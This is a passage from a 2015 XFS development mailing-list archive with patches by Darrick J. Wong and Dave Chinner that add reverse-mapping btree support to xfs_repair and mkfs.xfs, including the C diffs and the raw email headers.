&btree_curs->level[0]; btree_curs->init = 1; + btree_curs->owner = XFS_RMAP_OWN_AG; /* * build up statistics @@ -1766,6 +1776,7 @@ build_agf_agfl(xfs_mount_t *mp, agf->agf_flfirst = 0; agf->agf_fllast = cpu_to_be32(i - 1); agf->agf_flcount = cpu_to_be32(i); + rmap_store_agflcount(mp, agno, i); #ifdef XR_BLD_FREE_TRACE fprintf(stderr, "writing agfl for ag %u\n", agno); @@ -1790,30 +1801,8 @@ build_agf_agfl(xfs_mount_t *mp, /* * now fix up the free list appropriately - * XXX: code lifted from mkfs, should be shared. */ - { - xfs_alloc_arg_t args; - xfs_trans_t *tp; - struct xfs_trans_res tres = {0}; - int error; - - memset(&args, 0, sizeof(args)); - args.tp = tp = libxfs_trans_alloc(mp, 0); - args.mp = mp; - args.agno = agno; - args.alignment = 1; - args.pag = xfs_perag_get(mp,agno); - libxfs_trans_reserve(tp, &tres, - xfs_alloc_min_freelist(mp, args.pag), 0); - error = libxfs_alloc_fix_freelist(&args, 0); - xfs_perag_put(args.pag); - if (error) { - do_error(_("failed to fix AGFL on AG %d, error %d\n"), - agno, error); - } - libxfs_trans_commit(tp); - } + fix_freelist(mp, agno, true); #ifdef XR_BLD_FREE_TRACE fprintf(stderr, "wrote agf for ag %u\n", agno); @@ -1885,6 +1874,7 @@ phase5_func( xfs_agblock_t num_extents; __uint32_t magic; struct agi_stat agi_stat = {0,}; + int error; if (verbose) do_log(_(" - agno = %d\n"), agno); @@ -1990,6 +1980,8 @@ phase5_func( bcnt_btree_curs = bno_btree_curs; + bno_btree_curs.owner = XFS_RMAP_OWN_AG; + bcnt_btree_curs.owner = XFS_RMAP_OWN_AG; setup_cursor(mp, agno, &bno_btree_curs); setup_cursor(mp, agno, &bcnt_btree_curs); @@ -2067,6 +2059,15 @@ phase5_func( if (xfs_sb_version_hasfinobt(&mp->m_sb)) finish_cursor(&fino_btree_curs); finish_cursor(&bcnt_btree_curs); + + /* + * Put the per-AG btree rmap data into the rmapbt + */ + error = store_ag_btree_rmap_data(mp, agno); + if (error) + do_error( +_("unable to add AG %u reverse-mapping data to btree.\n"), agno); + /* * release the incore per-AG bno/bcnt trees so * the extent nodes can be recycled diff --git a/repair/rmap.c b/repair/rmap.c index 7b65d52..47fdabc 100644 --- a/repair/rmap.c +++ b/repair/rmap.c @@ -38,6 +38,8 @@ struct xfs_ag_rmap { struct xfs_slab *ar_rmaps; /* rmap observations, p4 */ struct xfs_slab *ar_raw_rmaps; /* unmerged rmaps */ + int ar_flcount; /* agfl entries from leftover */ + /* agbt allocations */ }; static struct xfs_ag_rmap *ag_rmaps; @@ -396,6 +398,144 @@ out: return error; } +/** + * store_ag_btree_rmap_data() - Copy the per-AG btree reverse-mapping data + * into the rmapbt. + * + * At rmapbt reconstruction time, the rmapbt will be populated _only_ with + * rmaps for file extents, inode chunks, AG headers, and bmbt blocks. While + * building the AG btrees we can record all the blocks allocated for each + * btree, but we cannot resolve the conflict between the fact that one has to + * finish allocating the space for the rmapbt before building the bnobt and the + * fact that allocating blocks for the bnobt requires adding rmapbt entries. + * Therefore we record in-core the rmaps for each btree and here use the + * libxfs rmap functions to finish building the rmap btree. + * + * During AGF/AGFL reconstruction in phase 5, rmaps for the AG btrees are + * recorded in memory. The rmapbt has not been set up yet, so we need to be + * able to "expand" the AGFL without updating the rmapbt. After we've written + * out the new AGF header the new rmapbt is available, so this function reads + * each AGFL to generate rmap entries. These entries are merged with the AG + * btree rmap entries, and then we use libxfs' rmap functions to add them to + * the rmapbt, after which it is fully regenerated. + * + * @mp: XFS mount. + * @agno: AG number. + */ +int +store_ag_btree_rmap_data( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + struct xfs_slab_cursor *rm_cur; + struct xfs_rmap_irec *rm_rec = NULL; + struct xfs_btree_cur *bt_cur = NULL; + struct xfs_buf *agbp = NULL; + struct xfs_buf *agflbp = NULL; + struct xfs_trans *tp; + struct xfs_trans_res tres = {0}; + __be32 *agfl_bno, *b; + int error = 0; + + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return 0; + + /* Release the ar_rmaps; they were put into the rmapbt during p5. */ + free_slab(&ag_rmaps[agno].ar_rmaps); + error = init_slab(&ag_rmaps[agno].ar_rmaps, + sizeof(struct xfs_rmap_irec)); + if (error) + goto err; + + /* Add the AGFL blocks to the rmap list */ + error = xfs_trans_read_buf( + mp, NULL, mp->m_ddev_targp, + XFS_AG_DADDR(mp, agno, XFS_AGFL_DADDR(mp)), + XFS_FSS_TO_BB(mp, 1), 0, &agflbp, &xfs_agfl_buf_ops); + if (error) + goto err; + + agfl_bno = XFS_BUF_TO_AGFL_BNO(mp, agflbp); + agfl_bno += ag_rmaps[agno].ar_flcount; + b = agfl_bno; + while (*b != NULLAGBLOCK && b - agfl_bno <= XFS_AGFL_SIZE(mp)) { + error = add_ag_rmap(mp, agno, be32_to_cpu(*b), 1, + XFS_RMAP_OWN_AG); + if (error) + goto err; + b++; + } + libxfs_putbuf(agflbp); + agflbp = NULL; + + /* Merge all the raw rmaps into the main list */ + error = fold_raw_rmaps(mp, agno); + if (error) + goto err; + + /* Create cursors to refcount structures */ + error = init_slab_cursor(ag_rmaps[agno].ar_rmaps, rmap_compare, + &rm_cur); + if (error) + goto err; + + /* Insert rmaps into the btree one at a time */ + rm_rec = pop_slab_cursor(rm_cur); + while (rm_rec) { + tp = libxfs_trans_alloc(mp, 0); + if (!tp) { + error = -ENOMEM; + goto err_slab; + } + + error = -libxfs_trans_reserve(tp, &tres, 16, 0); + if (error) + goto err_trans; + + error = xfs_alloc_read_agf(mp, tp, agno, 0, &agbp); + if (error) + goto err_trans; + + bt_cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); + if (!bt_cur) { + error = -ENOMEM; + goto err_agbp; + } + + error = xfs_rmapbt_insert(bt_cur, rm_rec->rm_startblock, + rm_rec->rm_blockcount, rm_rec->rm_owner, + rm_rec->rm_offset); + if (error) + goto err_rmapcur; + + xfs_btree_del_cursor(bt_cur, XFS_BTREE_NOERROR); + error = -libxfs_trans_commit(tp); + if (error) + goto err_slab; + + fix_freelist(mp, agno, false); + + rm_rec = pop_slab_cursor(rm_cur); + } + + free_slab_cursor(&rm_cur); + return 0; + +err_rmapcur: + xfs_btree_del_cursor(bt_cur, XFS_BTREE_ERROR); +err_agbp: + libxfs_putbuf(agbp); +err_trans: + libxfs_trans_cancel(tp); +err_slab: + free_slab_cursor(&rm_cur); +err: + if (agflbp) + libxfs_putbuf(agflbp); + printf("FAIL err %d\n", error); + return error; +} + #ifdef RMAP_DEBUG static void dump_rmap( @@ -586,3 +726,83 @@ err: free_slab_cursor(&rm_cur); return 0; } + +/** + * fix_freelist() - Regenerate the AGFL, so that we don't run out of it while + * rebuilding the rmapbt. + * @mp: XFS mount object + * @agno: AG number + * @skip_rmapbt: Don't fix the rmapbt + */ +void +fix_freelist( + struct xfs_mount *mp, + xfs_agnumber_t agno, + bool skip_rmapbt) +{ + xfs_alloc_arg_t args; + xfs_trans_t *tp; + struct xfs_trans_res tres = {0}; + int flags; + int error; + + memset(&args, 0, sizeof(args)); + args.tp = tp = libxfs_trans_alloc(mp, 0); + args.mp = mp; + args.agno = agno; + args.alignment = 1; + args.pag = xfs_perag_get(mp, agno); + libxfs_trans_reserve(tp, &tres, + xfs_alloc_min_freelist(mp, args.pag), 0); + /* + * Prior to rmapbt, all we had to do to fix the freelist is "expand" + * the fresh AGFL header from empty to full. That hasn't changed. For + * rmapbt, however, things change a bit. + * + * When we're stuffing the rmapbt with the AG btree rmaps the tree can + * expand, so we need to keep the AGFL well-stocked for the expansion. + * However, this expansion can cause the bnobt/cntbt to shrink, which + * can make the AGFL eligible for shrinking. Shrinking involves + * freeing rmapbt entries, but since we haven't finished loading the + * rmapbt with the btree rmaps it's possible for the remove operation + * to fail. The AGFL block is large enough at this point to absorb any + * blocks freed from the bnobt/cntbt, so we can disable shrinking. + * + * During the initial AGFL regeneration during AGF generation in phase5 + * we must also disable rmapbt modifications because the AGF that + * libxfs reads does not yet point to the new rmapbt. These initial + * AGFL entries are added just prior to adding the AG btree block rmaps + * to the rmapbt. It's ok to pass NOSHRINK here too, since the AGFL is + * empty and cannot shrink. + */ + flags = XFS_ALLOC_FLAG_NOSHRINK; + if (skip_rmapbt) + flags |= XFS_ALLOC_FLAG_NORMAP; + error = libxfs_alloc_fix_freelist(&args, flags); + xfs_perag_put(args.pag); + if (error) { + do_error(_("failed to fix AGFL on AG %d, error %d\n"), + agno, error); + } + libxfs_trans_commit(tp); +} + +/** + * rmap_store_agflcount() - Remember how many AGFL entries came from excess + * AG btree allocations and therefore already have + * rmap entries. + * @mp: XFS mount object. + * @agno: AG number. + * @count: Number of AGFL entries. + */ +void +rmap_store_agflcount( + struct xfs_mount *mp, + xfs_agnumber_t agno, + int count) +{ + if (!needs_rmap_work(mp)) + return; + + ag_rmaps[agno].ar_flcount = count; +} diff --git a/repair/rmap.h b/repair/rmap.h index f3f3331..0b4e73b 100644 --- a/repair/rmap.h +++ b/repair/rmap.h @@ -32,10 +32,14 @@ extern int add_bmbt_rmap(struct xfs_mount *, xfs_ino_t, int, xfs_fsblock_t); extern int fold_raw_rmaps(struct xfs_mount *mp, xfs_agnumber_t agno); extern int add_fixed_ag_rmap_data(struct xfs_mount *, xfs_agnumber_t); +extern int store_ag_btree_rmap_data(struct xfs_mount *, xfs_agnumber_t); extern size_t rmap_record_count(struct xfs_mount *, xfs_agnumber_t); extern int init_rmap_cursor(xfs_agnumber_t, struct xfs_slab_cursor **); extern void rmap_avoid_check(void); extern int check_rmaps(struct xfs_mount *, xfs_agnumber_t); +extern void fix_freelist(struct xfs_mount *, xfs_agnumber_t, bool); +extern void rmap_store_agflcount(struct xfs_mount *, xfs_agnumber_t, int); + #endif /* RMAP_H_ */ From darrick.wong@oracle.com Wed Oct 7 00:09:13 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C062029E90 for ; Wed, 7 Oct 2015 00:09:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B0DE1304032 for ; Tue, 6 Oct 2015 22:09:13 -0700 (PDT) X-ASG-Debug-ID: 1444194551-04cbb03f120da90001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 4hiMFMR46MTHk3kJ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:09:11 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9759AlI021775 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:09:10 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t97599S3010289 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:09:10 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t97599nU025532; Wed, 7 Oct 2015 05:09:09 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:09:09 -0700 Subject: [PATCH 36/51] mkfs.xfs: Create rmapbt filesystems From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 36/51] mkfs.xfs: Create rmapbt filesystems To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 22:09:08 -0700 Message-ID: <20151007050907.1504.65033.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194551 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Create v5 filesystems with rmapbt turned on. Signed-off-by: Dave Chinner [split patch, add commit message] Signed-off-by: Darrick J. Wong --- mkfs/xfs_mkfs.c | 119 +++++++++++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 102 insertions(+), 17 deletions(-) diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index b326116..b496349 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -181,6 +181,8 @@ char *mopts[] = { "crc", #define M_FINOBT 1 "finobt", +#define M_RMAPBT 2 + "rmapbt", NULL }; @@ -947,6 +949,7 @@ main( int finobt; bool finobtflag; int spinodes; + bool rmapbt; progname = basename(argv[0]); setlocale(LC_ALL, ""); @@ -984,6 +987,7 @@ main( finobt = 1; finobtflag = false; spinodes = 0; + rmapbt = false; memset(&fsx, 0, sizeof(fsx)); memset(&xi, 0, sizeof(xi)); @@ -1488,6 +1492,14 @@ main( finobt = c; finobtflag = true; break; + case M_RMAPBT: + if (!value || *value == '\0') + reqval('m', mopts, M_CRC); + c = atoi(value); + if (c < 0 || c > 1) + illegal(value, "m rmapbt"); + rmapbt = c; + break; default: unknown('m', value); } @@ -1844,6 +1856,12 @@ _("warning: sparse inodes not supported without CRC support, disabled.\n")); spinodes = 0; } + if (rmapbt && !crcs_enabled) { + fprintf(stderr, +_("warning: rmapbt not supported without CRC support, disabled.\n")); + rmapbt = 0; + } + if (nsflag || nlflag) { if (dirblocksize < blocksize || dirblocksize > XFS_MAX_BLOCKSIZE) { @@ -2437,7 +2455,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), mp->m_sectbb_log = sbp->sb_sectlog - BBSHIFT; /* - * sb_versionnum and finobt flags must be set before we use + * sb_versionnum, finobt and rmapbt flags must be set before we use * xfs_prealloc_blocks(). */ sbp->sb_features2 = XFS_SB_VERSION2_MKFS(crcs_enabled, lazy_sb_counters, @@ -2459,6 +2477,8 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), if (finobt) sbp->sb_features_ro_compat = XFS_SB_FEAT_RO_COMPAT_FINOBT; + if (rmapbt) + sbp->sb_features_ro_compat |= XFS_SB_FEAT_RO_COMPAT_RMAPBT; if (loginternal) { /* @@ -2522,7 +2542,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), printf(_( "meta-data=%-22s isize=%-6d agcount=%lld, agsize=%lld blks\n" " =%-22s sectsz=%-5u attr=%u, projid32bit=%u\n" - " =%-22s crc=%-8u finobt=%u, sparse=%u\n" + " =%-22s crc=%-8u finobt=%u, sparse=%u, rmapbt=%u\n" "data =%-22s bsize=%-6u blocks=%llu, imaxpct=%u\n" " =%-22s sunit=%-6u swidth=%u blks\n" "naming =version %-14u bsize=%-6u ascii-ci=%d ftype=%d\n" @@ -2531,7 +2551,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), "realtime =%-22s extsz=%-6d blocks=%lld, rtextents=%lld\n"), dfile, isize, (long long)agcount, (long long)agsize, "", sectorsize, attrversion, !projid16bit, - "", crcs_enabled, finobt, spinodes, + "", crcs_enabled, finobt, spinodes, rmapbt, "", blocksize, (long long)dblocks, imaxpct, "", dsunit, dswidth, dirversion, dirblocksize, nci, dirftype, @@ -2721,6 +2741,12 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), agf->agf_levels[XFS_BTNUM_CNTi] = cpu_to_be32(1); pag->pagf_levels[XFS_BTNUM_BNOi] = 1; pag->pagf_levels[XFS_BTNUM_CNTi] = 1; + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) { + agf->agf_roots[XFS_BTNUM_RMAPi] = + cpu_to_be32(XFS_RMAP_BLOCK(mp)); + agf->agf_levels[XFS_BTNUM_RMAPi] = cpu_to_be32(1); + } + agf->agf_flfirst = 0; agf->agf_fllast = cpu_to_be32(XFS_AGFL_SIZE(mp) - 1); agf->agf_flcount = 0; @@ -2908,24 +2934,83 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), /* * Free INO btree root block */ - if (!finobt) { - xfs_perag_put(pag); - continue; + if (finobt) { + buf = libxfs_getbuf(mp->m_ddev_targp, + XFS_AGB_TO_DADDR(mp, agno, XFS_FIBT_BLOCK(mp)), + bsize); + buf->b_ops = &xfs_inobt_buf_ops; + block = XFS_BUF_TO_BLOCK(buf); + memset(block, 0, blocksize); + if (xfs_sb_version_hascrc(&mp->m_sb)) + xfs_btree_init_block(mp, buf, XFS_FIBT_CRC_MAGIC, 0, 0, + agno, XFS_BTREE_CRC_BLOCKS); + else + xfs_btree_init_block(mp, buf, XFS_FIBT_MAGIC, 0, 0, + agno, 0); + libxfs_writebuf(buf, LIBXFS_EXIT_ON_FAILURE); } - buf = libxfs_getbuf(mp->m_ddev_targp, - XFS_AGB_TO_DADDR(mp, agno, XFS_FIBT_BLOCK(mp)), + /* RMAP btree root block */ + if (rmapbt) { + struct xfs_rmap_rec *rrec; + + buf = libxfs_getbuf(mp->m_ddev_targp, + XFS_AGB_TO_DADDR(mp, agno, XFS_RMAP_BLOCK(mp)), bsize); - buf->b_ops = &xfs_inobt_buf_ops; - block = XFS_BUF_TO_BLOCK(buf); - memset(block, 0, blocksize); - if (xfs_sb_version_hascrc(&mp->m_sb)) - xfs_btree_init_block(mp, buf, XFS_FIBT_CRC_MAGIC, 0, 0, + buf->b_ops = &xfs_rmapbt_buf_ops; + block = XFS_BUF_TO_BLOCK(buf); + memset(block, 0, blocksize); + + xfs_btree_init_block(mp, buf, XFS_RMAP_CRC_MAGIC, 0, 0, agno, XFS_BTREE_CRC_BLOCKS); - else - xfs_btree_init_block(mp, buf, XFS_FIBT_MAGIC, 0, 0, - agno, 0); - libxfs_writebuf(buf, LIBXFS_EXIT_ON_FAILURE); + + /* + * mark the AG header regions as static metadata + * The BNO btree block is the first block after the + * headers, so it's location defines the size of region + * the static metadata consumes. + */ + rrec = XFS_RMAP_REC_ADDR(block, 1); + rrec->rm_startblock = 0; + rrec->rm_blockcount = cpu_to_be32(XFS_BNO_BLOCK(mp)); + rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_FS); + be16_add_cpu(&block->bb_numrecs, 1); + + /* account freespace btree root blocks */ + rrec = XFS_RMAP_REC_ADDR(block, 2); + rrec->rm_startblock = cpu_to_be32(XFS_BNO_BLOCK(mp)); + rrec->rm_blockcount = cpu_to_be32(2); + rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_AG); + be16_add_cpu(&block->bb_numrecs, 1); + + /* account inode btree root blocks */ + rrec = XFS_RMAP_REC_ADDR(block, 3); + rrec->rm_startblock = cpu_to_be32(XFS_IBT_BLOCK(mp)); + rrec->rm_blockcount = cpu_to_be32(XFS_RMAP_BLOCK(mp) - + XFS_IBT_BLOCK(mp)); + rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_INOBT); + be16_add_cpu(&block->bb_numrecs, 1); + + /* account for rmap btree root */ + rrec = XFS_RMAP_REC_ADDR(block, 4); + rrec->rm_startblock = cpu_to_be32(XFS_RMAP_BLOCK(mp)); + rrec->rm_blockcount = cpu_to_be32(1); + rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_AG); + be16_add_cpu(&block->bb_numrecs, 1); + + /* account for the log space */ + if (loginternal && agno == logagno) { + rrec = XFS_RMAP_REC_ADDR(block, 5); + rrec->rm_startblock = cpu_to_be32( + XFS_FSB_TO_AGBNO(mp, logstart)); + rrec->rm_blockcount = cpu_to_be32(logblocks); + rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_LOG); + be16_add_cpu(&block->bb_numrecs, 1); + } + + libxfs_writebuf(buf, LIBXFS_EXIT_ON_FAILURE); + } + xfs_perag_put(pag); } From darrick.wong@oracle.com Wed Oct 7 00:09:19 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2EA4329ECD for ; Wed, 7 Oct 2015 00:09:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1F66A8F8037 for ; Tue, 6 Oct 2015 22:09:19 -0700 (PDT) X-ASG-Debug-ID: 1444194557-04cb6c578b0da50001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id pMVKKdCuciWDWSeE (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:09:17 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9759GU7017529 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:09:16 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9759GuX000956 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:09:16 GMT Received: from abhmp0016.oracle.com (abhmp0016.oracle.com [141.146.116.22]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9759F4A023084; Wed, 7 Oct 2015 05:09:16 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:09:15 -0700 Subject: [PATCH 37/51] xfs_mkfs: initialize extra fields during mkfs From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 37/51] xfs_mkfs: initialize extra fields during mkfs To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:09:14 -0700 Message-ID: <20151007050914.1504.70242.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194557 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Signed-off-by: Darrick J. Wong --- mkfs/xfs_mkfs.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index b496349..573774c 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2974,6 +2974,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), rrec->rm_startblock = 0; rrec->rm_blockcount = cpu_to_be32(XFS_BNO_BLOCK(mp)); rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_FS); + rrec->rm_offset = 0; be16_add_cpu(&block->bb_numrecs, 1); /* account freespace btree root blocks */ @@ -2981,6 +2982,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), rrec->rm_startblock = cpu_to_be32(XFS_BNO_BLOCK(mp)); rrec->rm_blockcount = cpu_to_be32(2); rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_AG); + rrec->rm_offset = 0; be16_add_cpu(&block->bb_numrecs, 1); /* account inode btree root blocks */ @@ -2989,6 +2991,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), rrec->rm_blockcount = cpu_to_be32(XFS_RMAP_BLOCK(mp) - XFS_IBT_BLOCK(mp)); rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_INOBT); + rrec->rm_offset = 0; be16_add_cpu(&block->bb_numrecs, 1); /* account for rmap btree root */ @@ -2996,6 +2999,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), rrec->rm_startblock = cpu_to_be32(XFS_RMAP_BLOCK(mp)); rrec->rm_blockcount = cpu_to_be32(1); rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_AG); + rrec->rm_offset = 0; be16_add_cpu(&block->bb_numrecs, 1); /* account for the log space */ @@ -3005,6 +3009,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), XFS_FSB_TO_AGBNO(mp, logstart)); rrec->rm_blockcount = cpu_to_be32(logblocks); rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_LOG); + rrec->rm_offset = 0; be16_add_cpu(&block->bb_numrecs, 1); } From darrick.wong@oracle.com Wed Oct 7 00:09:33 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BA25929E90 for ; Wed, 7 Oct 2015 00:09:33 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 646788F8037 for ; Tue, 6 Oct 2015 22:09:33 -0700 (PDT) X-ASG-Debug-ID: 1444194570-04bdf020dc0ea40001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id yYr8nNOGiY3zUg6g (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:09:30 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9759TdN017629 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:09:30 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9759Ti3011074 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:09:29 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9759S6u023131; Wed, 7 Oct 2015 05:09:29 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:09:28 -0700 Subject: [PATCH 39/51] xfs_db: dump refcount btree data From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 39/51] xfs_db: dump refcount btree data To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:09:27 -0700 Message-ID: <20151007050927.1504.69486.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty 